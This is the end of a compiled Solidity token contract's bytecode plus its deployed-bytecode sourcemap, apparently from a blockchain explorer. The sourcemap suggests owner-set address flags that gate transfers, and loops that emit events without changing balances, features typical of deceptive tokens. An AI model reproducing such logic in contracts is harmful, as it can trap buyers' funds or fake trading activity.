56576122556121b1565b5b92915050565b60006080820190506122716000830187611df6565b61227e602083018661215d565b61228b604083018561215d565b6122986060830184611df6565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006122fd602583611b62565b9150612308826122a1565b604082019050919050565b6000602082019050818103600083015261232c816122f0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061238f602683611b62565b915061239a82612333565b604082019050919050565b600060208201905081810360008301526123be81612382565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612421602483611b62565b915061242c826123c5565b604082019050919050565b6000602082019050818103600083015261245081612414565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006124b3602283611b62565b91506124be82612457565b604082019050919050565b600060208201905081810360008301526124e2816124a6565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061251f601d83611b62565b915061252a826124e9565b602082019050919050565b6000602082019050818103600083015261254e81612512565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006125b1602583611b62565b91506125bc82612555565b604082019050919050565b600060208201905081810360008301526125e0816125a4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612643602383611b62565b915061264e826125e7565b604082019050919050565b6000602082019050818103600083015261267281612636565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006126d5602683611b62565b91506126e082612679565b604082019050919050565b60006020820190508181036000830152612704816126c8565b9050919050565b50565b600061271b600083611b62565b91506127268261270b565b600082019050919050565b6000602082019050818103600083015261274a8161270e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612787602083611b62565b915061279282612751565b602082019050919050565b600060208201905081810360008301526127b68161277a565b905091905056fea2646970667358221220977e810223ecdb3b5fc2508784950316a5de8bc2dde58ca700a6ae2cd67910ca64736f6c63430008120033
Deployed Bytecode Sourcemap
22763:149:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9169:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13834:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11496:343;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12603:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14615:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12429:109;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10131:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9002:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15319:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12215:206;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12774:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11974:233;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5991:103;;;:::i;:::-;;10232:272;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11196:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5350:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9388:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10512:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16060:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10811:377;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13107:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11847:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13363:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6249:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9169:100;9223:13;9256:5;9249:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9169:100;:::o;13834:201::-;13917:4;13934:13;13950:12;:10;:12::i;:::-;13934:28;;13973:32;13982:5;13989:7;13998:6;13973:8;:32::i;:::-;14023:4;14016:11;;;13834:201;;;;:::o;11496:343::-;11612:9;11607:225;11631:11;;:18;;11627:1;:22;11607:225;;;11704:11;;11716:1;11704:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11676:43;;11681:4;;;;;;;;;;;11676:43;;;11687:1;11690:3;11695:4;11701:1;11676:43;;;;;;;;;:::i;:::-;;;;;;;;11764:4;;;;;;;;;;;11739:35;;11748:11;;11760:1;11748:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11739:35;;;11770:3;11739:35;;;;;;:::i;:::-;;;;;;;;11809:5;;;;;;;;;;;11794:26;;11803:4;;;;;;;;;;;11794:26;;;11816:3;11794:26;;;;;;:::i;:::-;;;;;;;;11651:3;;;;;:::i;:::-;;;;11607:225;;;;11496:343;;;;:::o;12603:108::-;12664:7;12691:12;;12684:19;;12603:108;:::o;14615:295::-;14746:4;14763:15;14781:12;:10;:12::i;:::-;14763:30;;14804:38;14820:4;14826:7;14835:6;14804:15;:38::i;:::-;14853:27;14863:4;14869:2;14873:6;14853:9;:27::i;:::-;14898:4;14891:11;;;14615:295;;;;;:::o;12429:109::-;12486:4;12510:9;:20;12520:9;12510:20;;;;;;;;;;;;;;;;;;;;;;;;;12503:27;;12429:109;;;:::o;10131:93::-;10189:5;10214:2;10207:9;;10131:93;:::o;9002:97::-;5236:13;:11;:13::i;:::-;9084:7:::1;9076:5;;:15;;;;;;;;;;;;;;;;;;9002:97:::0;:::o;15319:238::-;15407:4;15424:13;15440:12;:10;:12::i;:::-;15424:28;;15463:64;15472:5;15479:7;15516:10;15488:25;15498:5;15505:7;15488:9;:25::i;:::-;:38;;;;:::i;:::-;15463:8;:64::i;:::-;15545:4;15538:11;;;15319:238;;;;:::o;12215:206::-;5236:13;:11;:13::i;:::-;12310:9:::1;12305:109;12329:11;;:18;;12325:1;:22;12305:109;;;12397:5;12369:9;:25;12379:11;;12391:1;12379:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12369:25;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;12349:3;;;;;:::i;:::-;;;;12305:109;;;;12215:206:::0;;:::o;12774:127::-;12848:7;12875:9;:18;12885:7;12875:18;;;;;;;;;;;;;;;;12868:25;;12774:127;;;:::o;11974:233::-;12095:9;12090:110;12114:5;;:12;;12110:1;:16;12090:110;;;12172:3;;12176:1;12172:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12153:35;;12162:5;;12168:1;12162:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12153:35;;;12180:4;;12185:1;12180:7;;;;;;;:::i;:::-;;;;;;;;12153:35;;;;;;:::i;:::-;;;;;;;;12128:3;;;;;:::i;:::-;;;;12090:110;;;;11974:233;;;;;;:::o;5991:103::-;5236:13;:11;:13::i;:::-;6056:30:::1;6083:1;6056:18;:30::i;:::-;5991:103::o:0;10232:272::-;5236:13;:11;:13::i;:::-;10317:9:::1;10312:185;10336:11;;:18;;10332:1;:22;10312:185;;;10404:4;10376:9;:25;10386:11;;10398:1;10386:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10376:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;10453:4;;;;;;;;;;;10428:57;;10437:11;;10449:1;10437:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10428:57;;;10459:25;10469:11;;10481:1;10469:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10459:9;:25::i;:::-;10428:57;;;;;;:::i;:::-;;;;;;;;10356:3;;;;;:::i;:::-;;;;10312:185;;;;10232:272:::0;;:::o;11196:292::-;11300:9;11295:186;11319:11;;:18;;11315:1;:22;11295:186;;;11398:11;;11410:1;11398:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11364:49;;11369:10;;;;;;;;;;;11364:49;;;11381:1;11384:3;11389:4;11395:1;11364:49;;;;;;;;;:::i;:::-;;;;;;;;11458:5;;;;;;;;;;;11433:36;;11442:11;;11454:1;11442:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11433:36;;;11465:3;11433:36;;;;;;:::i;:::-;;;;;;;;11339:3;;;;;:::i;:::-;;;;11295:186;;;;11196:292;;;;:::o;5350:87::-;5396:7;5423:6;;;;;;;;;;;5416:13;;5350:87;:::o;9388:104::-;9444:13;9477:7;9470:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9388:104;:::o;10512:291::-;10614:9;10609:187;10633:11;;:18;;10629:1;:22;10609:187;;;10712:11;;10724:1;10712:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10678:49;;10683:10;;;;;;;;;;;10678:49;;;10695:3;10700:1;10703;10706:4;10678:49;;;;;;;;;:::i;:::-;;;;;;;;10763:11;;10775:1;10763:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10747:37;;10756:5;;;;;;;;;;;10747:37;;;10779:4;10747:37;;;;;;:::i;:::-;;;;;;;;10653:3;;;;;:::i;:::-;;;;10609:187;;;;10512:291;;;;:::o;16060:436::-;16153:4;16170:13;16186:12;:10;:12::i;:::-;16170:28;;16209:24;16236:25;16246:5;16253:7;16236:9;:25::i;:::-;16209:52;;16300:15;16280:16;:35;;16272:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;16393:60;16402:5;16409:7;16437:15;16418:16;:34;16393:8;:60::i;:::-;16484:4;16477:11;;;;16060:436;;;;:::o;10811:377::-;10959:9;10954:227;10978:11;;:18;;10974:1;:22;10954:227;;;11051:11;;11063:1;11051:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11023:43;;11028:4;;;;;;;;;;;11023:43;;;11034:3;11039:1;11042;11045:4;11023:43;;;;;;;;;:::i;:::-;;;;;;;;11102:4;;;;;;;;;;;11086:27;;11095:5;;;;;;;;;;;11086:27;;;11108:4;11086:27;;;;;;:::i;:::-;;;;;;;;11148:11;;11160:1;11148:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11133:36;;11142:4;;;;;;;;;;;11133:36;;;11164:4;11133:36;;;;;;:::i;:::-;;;;;;;;10998:3;;;;;:::i;:::-;;;;10954:227;;;;10811:377;;;;:::o;13107:193::-;13186:4;13203:13;13219:12;:10;:12::i;:::-;13203:28;;13242;13252:5;13259:2;13263:6;13242:9;:28::i;:::-;13288:4;13281:11;;;13107:193;;;;:::o;11847:119::-;11948:3;11932:26;;11941:5;11932:26;;;11953:4;11932:26;;;;;;:::i;:::-;;;;;;;;11847:119;;;:::o;13363:151::-;13452:7;13479:11;:18;13491:5;13479:18;;;;;;;;;;;;;;;:27;13498:7;13479:27;;;;;;;;;;;;;;;;13472:34;;13363:151;;;;:::o;6249:201::-;5236:13;:11;:13::i;:::-;6358:1:::1;6338:22;;:8;:22;;::::0;6330:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6414:28;6433:8;6414:18;:28::i;:::-;6249:201:::0;:::o;4059:98::-;4112:7;4139:10;4132:17;;4059:98;:::o;20175:380::-;20328:1;20311:19;;:5;:19;;;20303:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20409:1;20390:21;;:7;:21;;;20382:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20493:6;20463:11;:18;20475:5;20463:18;;;;;;;;;;;;;;;:27;20482:7;20463:27;;;;;;;;;;;;;;;:36;;;;20531:7;20515:32;;20524:5;20515:32;;;20540:6;20515:32;;;;;;:::i;:::-;;;;;;;;20175:380;;;:::o;20846:453::-;20981:24;21008:25;21018:5;21025:7;21008:9;:25::i;:::-;20981:52;;21068:17;21048:16;:37;21044:248;;21130:6;21110:16;:26;;21102:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;21214:51;21223:5;21230:7;21258:6;21239:16;:25;21214:8;:51::i;:::-;21044:248;20970:329;20846:453;;;:::o;16966:928::-;17113:1;17097:18;;:4;:18;;;17089:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17190:1;17176:16;;:2;:16;;;17168:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;17245:38;17266:4;17272:2;17276:6;17245:20;:38::i;:::-;17296:19;17318:9;:15;17328:4;17318:15;;;;;;;;;;;;;;;;17296:37;;17367:6;17352:11;:21;;17344:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;17484:6;17470:11;:20;17452:9;:15;17462:4;17452:15;;;;;;;;;;;;;;;:38;;;;17687:6;17670:9;:13;17680:2;17670:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;17719:9;:15;17729:4;17719:15;;;;;;;;;;;;;;;;;;;;;;;;;:32;;;;17738:9;:13;17748:2;17738:13;;;;;;;;;;;;;;;;;;;;;;;;;17719:32;17715:75;;;17781:4;17761:24;;:16;;;;;;;;;;;:24;;;17753:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;17715:75;17825:2;17810:26;;17819:4;17810:26;;;17829:6;17810:26;;;;;;:::i;:::-;;;;;;;;17849:37;17869:4;17875:2;17879:6;17849:19;:37::i;:::-;17078:816;16966:928;;;:::o;5515:132::-;5590:12;:10;:12::i;:::-;5579:23;;:7;:5;:7::i;:::-;:23;;;5571:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5515:132::o;6610:191::-;6684:16;6703:6;;;;;;;;;;;6684:25;;6729:8;6720:6;;:17;;;;;;;;;;;;;;;;;;6784:8;6753:40;;6774:8;6753:40;;;;;;;;;;;;6673:128;6610:191;:::o;22631:125::-;;;;:::o;21903:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:117::-;3555:1;3552;3545:12;3569:117;3678:1;3675;3668:12;3692:117;3801:1;3798;3791:12;3832:568;3905:8;3915:6;3965:3;3958:4;3950:6;3946:17;3942:27;3932:122;;3973:79;;:::i;:::-;3932:122;4086:6;4073:20;4063:30;;4116:18;4108:6;4105:30;4102:117;;;4138:79;;:::i;:::-;4102:117;4252:4;4244:6;4240:17;4228:29;;4306:3;4298:4;4290:6;4286:17;4276:8;4272:32;4269:41;4266:128;;;4313:79;;:::i;:::-;4266:128;3832:568;;;;;:::o;4406:849::-;4510:6;4518;4526;4534;4583:2;4571:9;4562:7;4558:23;4554:32;4551:119;;;4589:79;;:::i;:::-;4551:119;4737:1;4726:9;4722:17;4709:31;4767:18;4759:6;4756:30;4753:117;;;4789:79;;:::i;:::-;4753:117;4902:80;4974:7;4965:6;4954:9;4950:22;4902:80;:::i;:::-;4884:98;;;;4680:312;5031:2;5057:53;5102:7;5093:6;5082:9;5078:22;5057:53;:::i;:::-;5047:63;;5002:118;5159:2;5185:53;5230:7;5221:6;5210:9;5206:22;5185:53;:::i;:::-;5175:63;;5130:118;4406:849;;;;;;;:::o;5261:118::-;5348:24;5366:5;5348:24;:::i;:::-;5343:3;5336:37;5261:118;;:::o;5385:222::-;5478:4;5516:2;5505:9;5501:18;5493:26;;5529:71;5597:1;5586:9;5582:17;5573:6;5529:71;:::i;:::-;5385:222;;;;:::o;5613:619::-;5690:6;5698;5706;5755:2;5743:9;5734:7;5730:23;5726:32;5723:119;;;5761:79;;:::i;:::-;5723:119;5881:1;5906:53;5951:7;5942:6;5931:9;5927:22;5906:53;:::i;:::-;5896:63;;5852:117;6008:2;6034:53;6079:7;6070:6;6059:9;6055:22;6034:53;:::i;:::-;6024:63;;5979:118;6136:2;6162:53;6207:7;6198:6;6187:9;6183:22;6162:53;:::i;:::-;6152:63;;6107:118;5613:619;;;;;:::o;6238:329::-;6297:6;6346:2;6334:9;6325:7;6321:23;6317:32;6314:119;;;6352:79;;:::i;:::-;6314:119;6472:1;6497:53;6542:7;6533:6;6522:9;6518:22;6497:53;:::i;:::-;6487:63;;6443:117;6238:329;;;;:::o;6573:86::-;6608:7;6648:4;6641:5;6637:16;6626:27;;6573:86;;;:::o;6665:112::-;6748:22;6764:5;6748:22;:::i;:::-;6743:3;6736:35;6665:112;;:::o;6783:214::-;6872:4;6910:2;6899:9;6895:18;6887:26;;6923:67;6987:1;6976:9;6972:17;6963:6;6923:67;:::i;:::-;6783:214;;;;:::o;7003:559::-;7089:6;7097;7146:2;7134:9;7125:7;7121:23;7117:32;7114:119;;;7152:79;;:::i;:::-;7114:119;7300:1;7289:9;7285:17;7272:31;7330:18;7322:6;7319:30;7316:117;;;7352:79;;:::i;:::-;7316:117;7465:80;7537:7;7528:6;7517:9;7513:22;7465:80;:::i;:::-;7447:98;;;;7243:312;7003:559;;;;;:::o;7585:568::-;7658:8;7668:6;7718:3;7711:4;7703:6;7699:17;7695:27;7685:122;;7726:79;;:::i;:::-;7685:122;7839:6;7826:20;7816:30;;7869:18;7861:6;7858:30;7855:117;;;7891:79;;:::i;:::-;7855:117;8005:4;7997:6;7993:17;7981:29;;8059:3;8051:4;8043:6;8039:17;8029:8;8025:32;8022:41;8019:128;;;8066:79;;:::i;:::-;8019:128;7585:568;;;;;:::o;8159:1309::-;8317:6;8325;8333;8341;8349;8357;8406:2;8394:9;8385:7;8381:23;8377:32;8374:119;;;8412:79;;:::i;:::-;8374:119;8560:1;8549:9;8545:17;8532:31;8590:18;8582:6;8579:30;8576:117;;;8612:79;;:::i;:::-;8576:117;8725:80;8797:7;8788:6;8777:9;8773:22;8725:80;:::i;:::-;8707:98;;;;8503:312;8882:2;8871:9;8867:18;8854:32;8913:18;8905:6;8902:30;8899:117;;;8935:79;;:::i;:::-;8899:117;9048:80;9120:7;9111:6;9100:9;9096:22;9048:80;:::i;:::-;9030:98;;;;8825:313;9205:2;9194:9;9190:18;9177:32;9236:18;9228:6;9225:30;9222:117;;;9258:79;;:::i;:::-;9222:117;9371:80;9443:7;9434:6;9423:9;9419:22;9371:80;:::i;:::-;9353:98;;;;9148:313;8159:1309;;;;;;;;:::o;9474:118::-;9561:24;9579:5;9561:24;:::i;:::-;9556:3;9549:37;9474:118;;:::o;9598:222::-;9691:4;9729:2;9718:9;9714:18;9706:26;;9742:71;9810:1;9799:9;9795:17;9786:6;9742:71;:::i;:::-;9598:222;;;;:::o;9826:474::-;9894:6;9902;9951:2;9939:9;9930:7;9926:23;9922:32;9919:119;;;9957:79;;:::i;:::-;9919:119;10077:1;10102:53;10147:7;10138:6;10127:9;10123:22;10102:53;:::i;:::-;10092:63;;10048:117;10204:2;10230:53;10275:7;10266:6;10255:9;10251:22;10230:53;:::i;:::-;10220:63;;10175:118;9826:474;;;;;:::o;10306:180::-;10354:77;10351:1;10344:88;10451:4;10448:1;10441:15;10475:4;10472:1;10465:15;10492:320;10536:6;10573:1;10567:4;10563:12;10553:22;;10620:1;10614:4;10610:12;10641:18;10631:81;;10697:4;10689:6;10685:17;10675:27;;10631:81;10759:2;10751:6;10748:14;10728:18;10725:38;10722:84;;10778:18;;:::i;:::-;10722:84;10543:269;10492:320;;;:::o;10818:180::-;10866:77;10863:1;10856:88;10963:4;10960:1;10953:15;10987:4;10984:1;10977:15;11004:85;11049:7;11078:5;11067:16;;11004:85;;;:::o;11095:60::-;11123:3;11144:5;11137:12;;11095:60;;;:::o;11161:158::-;11219:9;11252:61;11270:42;11279:32;11305:5;11279:32;:::i;:::-;11270:42;:::i;:::-;11252:61;:::i;:::-;11239:74;;11161:158;;;:::o;11325:147::-;11420:45;11459:5;11420:45;:::i;:::-;11415:3;11408:58;11325:147;;:::o;11478:585::-;11671:4;11709:3;11698:9;11694:19;11686:27;;11723:79;11799:1;11788:9;11784:17;11775:6;11723:79;:::i;:::-;11812:72;11880:2;11869:9;11865:18;11856:6;11812:72;:::i;:::-;11894;11962:2;11951:9;11947:18;11938:6;11894:72;:::i;:::-;11976:80;12052:2;12041:9;12037:18;12028:6;11976:80;:::i;:::-;11478:585;;;;;;;:::o;12069:180::-;12117:77;12114:1;12107:88;12214:4;12211:1;12204:15;12238:4;12235:1;12228:15;12255:233;12294:3;12317:24;12335:5;12317:24;:::i;:::-;12308:33;;12363:66;12356:5;12353:77;12350:103;;12433:18;;:::i;:::-;12350:103;12480:1;12473:5;12469:13;12462:20;;12255:233;;;:::o;12494:191::-;12534:3;12553:20;12571:1;12553:20;:::i;:::-;12548:25;;12587:20;12605:1;12587:20;:::i;:::-;12582:25;;12630:1;12627;12623:9;12616:16;;12651:3;12648:1;12645:10;12642:36;;;12658:18;;:::i;:::-;12642:36;12494:191;;;;:::o;12691:585::-;12884:4;12922:3;12911:9;12907:19;12899:27;;12936:71;13004:1;12993:9;12989:17;12980:6;12936:71;:::i;:::-;13017:80;13093:2;13082:9;13078:18;13069:6;13017:80;:::i;:::-;13107;13183:2;13172:9;13168:18;13159:6;13107:80;:::i;:::-;13197:72;13265:2;13254:9;13250:18;13241:6;13197:72;:::i;:::-;12691:585;;;;;;;:::o;13282:224::-;13422:34;13418:1;13410:6;13406:14;13399:58;13491:7;13486:2;13478:6;13474:15;13467:32;13282:224;:::o;13512:366::-;13654:3;13675:67;13739:2;13734:3;13675:67;:::i;:::-;13668:74;;13751:93;13840:3;13751:93;:::i;:::-;13869:2;13864:3;13860:12;13853:19;;13512:366;;;:::o;13884:419::-;14050:4;14088:2;14077:9;14073:18;14065:26;;14137:9;14131:4;14127:20;14123:1;14112:9;14108:17;14101:47;14165:131;14291:4;14165:131;:::i;:::-;14157:139;;13884:419;;;:::o;14309:225::-;14449:34;14445:1;14437:6;14433:14;14426:58;14518:8;14513:2;14505:6;14501:15;14494:33;14309:225;:::o;14540:366::-;14682:3;14703:67;14767:2;14762:3;14703:67;:::i;:::-;14696:74;;14779:93;14868:3;14779:93;:::i;:::-;14897:2;14892:3;14888:12;14881:19;;14540:366;;;:::o;14912:419::-;15078:4;15116:2;15105:9;15101:18;15093:26;;15165:9;15159:4;15155:20;15151:1;15140:9;15136:17;15129:47;15193:131;15319:4;15193:131;:::i;:::-;15185:139;;14912:419;;;:::o;15337:223::-;15477:34;15473:1;15465:6;15461:14;15454:58;15546:6;15541:2;15533:6;15529:15;15522:31;15337:223;:::o;15566:366::-;15708:3;15729:67;15793:2;15788:3;15729:67;:::i;:::-;15722:74;;15805:93;15894:3;15805:93;:::i;:::-;15923:2;15918:3;15914:12;15907:19;;15566:366;;;:::o;15938:419::-;16104:4;16142:2;16131:9;16127:18;16119:26;;16191:9;16185:4;16181:20;16177:1;16166:9;16162:17;16155:47;16219:131;16345:4;16219:131;:::i;:::-;16211:139;;15938:419;;;:::o;16363:221::-;16503:34;16499:1;16491:6;16487:14;16480:58;16572:4;16567:2;16559:6;16555:15;16548:29;16363:221;:::o;16590:366::-;16732:3;16753:67;16817:2;16812:3;16753:67;:::i;:::-;16746:74;;16829:93;16918:3;16829:93;:::i;:::-;16947:2;16942:3;16938:12;16931:19;;16590:366;;;:::o;16962:419::-;17128:4;17166:2;17155:9;17151:18;17143:26;;17215:9;17209:4;17205:20;17201:1;17190:9;17186:17;17179:47;17243:131;17369:4;17243:131;:::i;:::-;17235:139;;16962:419;;;:::o;17387:179::-;17527:31;17523:1;17515:6;17511:14;17504:55;17387:179;:::o;17572:366::-;17714:3;17735:67;17799:2;17794:3;17735:67;:::i;:::-;17728:74;;17811:93;17900:3;17811:93;:::i;:::-;17929:2;17924:3;17920:12;17913:19;;17572:366;;;:::o;17944:419::-;18110:4;18148:2;18137:9;18133:18;18125:26;;18197:9;18191:4;18187:20;18183:1;18172:9;18168:17;18161:47;18225:131;18351:4;18225:131;:::i;:::-;18217:139;;17944:419;;;:::o;18369:224::-;18509:34;18505:1;18497:6;18493:14;18486:58;18578:7;18573:2;18565:6;18561:15;18554:32;18369:224;:::o;18599:366::-;18741:3;18762:67;18826:2;18821:3;18762:67;:::i;:::-;18755:74;;18838:93;18927:3;18838:93;:::i;:::-;18956:2;18951:3;18947:12;18940:19;;18599:366;;;:::o;18971:419::-;19137:4;19175:2;19164:9;19160:18;19152:26;;19224:9;19218:4;19214:20;19210:1;19199:9;19195:17;19188:47;19252:131;19378:4;19252:131;:::i;:::-;19244:139;;18971:419;;;:::o;19396:222::-;19536:34;19532:1;19524:6;19520:14;19513:58;19605:5;19600:2;19592:6;19588:15;19581:30;19396:222;:::o;19624:366::-;19766:3;19787:67;19851:2;19846:3;19787:67;:::i;:::-;19780:74;;19863:93;19952:3;19863:93;:::i;:::-;19981:2;19976:3;19972:12;19965:19;;19624:366;;;:::o;19996:419::-;20162:4;20200:2;20189:9;20185:18;20177:26;;20249:9;20243:4;20239:20;20235:1;20224:9;20220:17;20213:47;20277:131;20403:4;20277:131;:::i;:::-;20269:139;;19996:419;;;:::o;20421:225::-;20561:34;20557:1;20549:6;20545:14;20538:58;20630:8;20625:2;20617:6;20613:15;20606:33;20421:225;:::o;20652:366::-;20794:3;20815:67;20879:2;20874:3;20815:67;:::i;:::-;20808:74;;20891:93;20980:3;20891:93;:::i;:::-;21009:2;21004:3;21000:12;20993:19;;20652:366;;;:::o;21024:419::-;21190:4;21228:2;21217:9;21213:18;21205:26;;21277:9;21271:4;21267:20;21263:1;21252:9;21248:17;21241:47;21305:131;21431:4;21305:131;:::i;:::-;21297:139;;21024:419;;;:::o;21449:114::-;;:::o;21569:364::-;21711:3;21732:66;21796:1;21791:3;21732:66;:::i;:::-;21725:73;;21807:93;21896:3;21807:93;:::i;:::-;21925:1;21920:3;21916:11;21909:18;;21569:364;;;:::o;21939:419::-;22105:4;22143:2;22132:9;22128:18;22120:26;;22192:9;22186:4;22182:20;22178:1;22167:9;22163:17;22156:47;22220:131;22346:4;22220:131;:::i;:::-;22212:139;;21939:419;;;:::o;22364:182::-;22504:34;22500:1;22492:6;22488:14;22481:58;22364:182;:::o;22552:366::-;22694:3;22715:67;22779:2;22774:3;22715:67;:::i;:::-;22708:74;;22791:93;22880:3;22791:93;:::i;:::-;22909:2;22904:3;22900:12;22893:19;;22552:366;;;:::o;22924:419::-;23090:4;23128:2;23117:9